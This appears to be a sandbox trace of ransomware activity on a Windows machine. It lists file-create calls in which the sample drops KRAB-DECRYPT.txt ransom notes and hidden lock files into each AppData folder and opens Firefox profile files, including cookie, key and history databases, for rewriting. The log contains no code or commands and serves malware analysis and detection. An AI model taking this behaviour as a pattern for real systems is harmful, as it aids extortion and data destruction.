Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Word\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Word\STARTUP\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Microsoft\Word\STARTUP\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\MKJULoiV-xwixtoGWVo.odp desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Extensions\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Extensions\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Crash Reports\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Crash Reports\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Crash Reports\events\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Crash Reports\events\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Crash Reports\InstallTime20170518000419 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\addons.json desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\blocklist-addons.json desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\blocklist-gfx.json desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\blocklist-plugins.json desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\blocklist.xml desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\bookmarkbackups\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\bookmarkbackups\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\bookmarkbackups\bookmarks-2017-05-24_14_kL0o5I+exwq3TXuLDkMF9w==.jsonlz4 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\cert8.db desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\compatibility.ini desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\containers.json desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\content-prefs.sqlite desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\cookies.sqlite desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\crashes\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\crashes\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\crashes\events\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\crashes\events\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\crashes\store.json.mozlz4 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\datareporting\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\datareporting\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\datareporting\archived\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\datareporting\archived\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\datareporting\archived\2017-05\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\datareporting\archived\2017-05\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\datareporting\archived\2017-05\1495592260754.fe0bc3a3-866c-458a-ad46-a730981653d6.main.jsonlz4 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\datareporting\archived\2017-05\1495592289365.f6bd7dec-4421-47ce-b829-1080689ec7ca.main.jsonlz4 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\datareporting\archived\2017-05\1495596278120.31e5ce24-c2bf-486b-b29e-534113b7c6dc.main.jsonlz4 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\datareporting\archived\2017-05\1495597242414.2e462298-aeda-4ee5-bf23-a73bdf74947f.main.jsonlz4 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\datareporting\archived\2017-05\1495597261897.a7b36bf3-f762-448c-874e-9388e91739b4.main.jsonlz4 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\datareporting\archived\2017-05\1495599783008.23c86977-85eb-412a-ae39-c4c6ea9a5744.main.jsonlz4 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\datareporting\archived\2017-05\1495600032629.d896fec9-1a7a-4db1-a3a2-e46d95b631a5.main.jsonlz4 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\datareporting\session-state.json desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\datareporting\state.json desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\extensions.ini desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\extensions.json desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\formhistory.sqlite desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\gmp\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\gmp\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\gmp\WINNT_x86-msvc\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\gmp\WINNT_x86-msvc\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\gmp-gmpopenh264\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\gmp-gmpopenh264\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\gmp-gmpopenh264\1.6\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\gmp-gmpopenh264\1.6\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\gmp-gmpopenh264\1.6\gmpopenh264.info desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\gmp-widevinecdm\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\gmp-widevinecdm\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\gmp-widevinecdm\1.4.8.903\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\gmp-widevinecdm\1.4.8.903\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\gmp-widevinecdm\1.4.8.903\LICENSE.txt desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\gmp-widevinecdm\1.4.8.903\manifest.json desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\gmp-widevinecdm\1.4.8.903\widevinecdm.dll.lib desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\key3.db desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\kinto.sqlite desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\mimeTypes.rdf desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\minidumps\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\minidumps\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\permissions.sqlite desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\places.sqlite desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\pluginreg.dat desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\prefs.js desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\revocations.txt desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\saved-telemetry-pings\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\saved-telemetry-pings\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\saved-telemetry-pings\d896fec9-1a7a-4db1-a3a2-e46d95b631a5 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\search.json.mozlz4 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\secmod.db desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\sessionCheckpoints.json desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\sessionstore-backups\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\sessionstore-backups\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\sessionstore-backups\previous.js desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\sessionstore-backups\upgrade.js-20170518000419 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\sessionstore.js desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\SiteSecurityServiceState.txt desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\permanent\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\permanent\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\permanent\chrome\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\permanent\chrome\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\permanent\chrome\.metadata desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\permanent\chrome\.metadata-v2 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\permanent\chrome\idb\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\permanent\chrome\idb\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\permanent\chrome\idb\2918063365piupsah.files\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\permanent\chrome\idb\2918063365piupsah.files\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\permanent\chrome\idb\2918063365piupsah.sqlite desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\permanent\moz-safe-about+home\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\permanent\moz-safe-about+home\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\permanent\moz-safe-about+home\.metadata desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\permanent\moz-safe-about+home\.metadata-v2 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\permanent\moz-safe-about+home\idb\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\permanent\moz-safe-about+home\idb\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\permanent\moz-safe-about+home\idb\818200132aebmoouht.files\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\permanent\moz-safe-about+home\idb\818200132aebmoouht.files\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\permanent\moz-safe-about+home\idb\818200132aebmoouht.files\1 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\permanent\moz-safe-about+home\idb\818200132aebmoouht.files\journals\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\AppData\Roaming\Mozilla\Firefox\Profiles\8i341t8m.default\storage\permanent\moz-safe-about+home\idb\818200132aebmoouht.files\journals\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
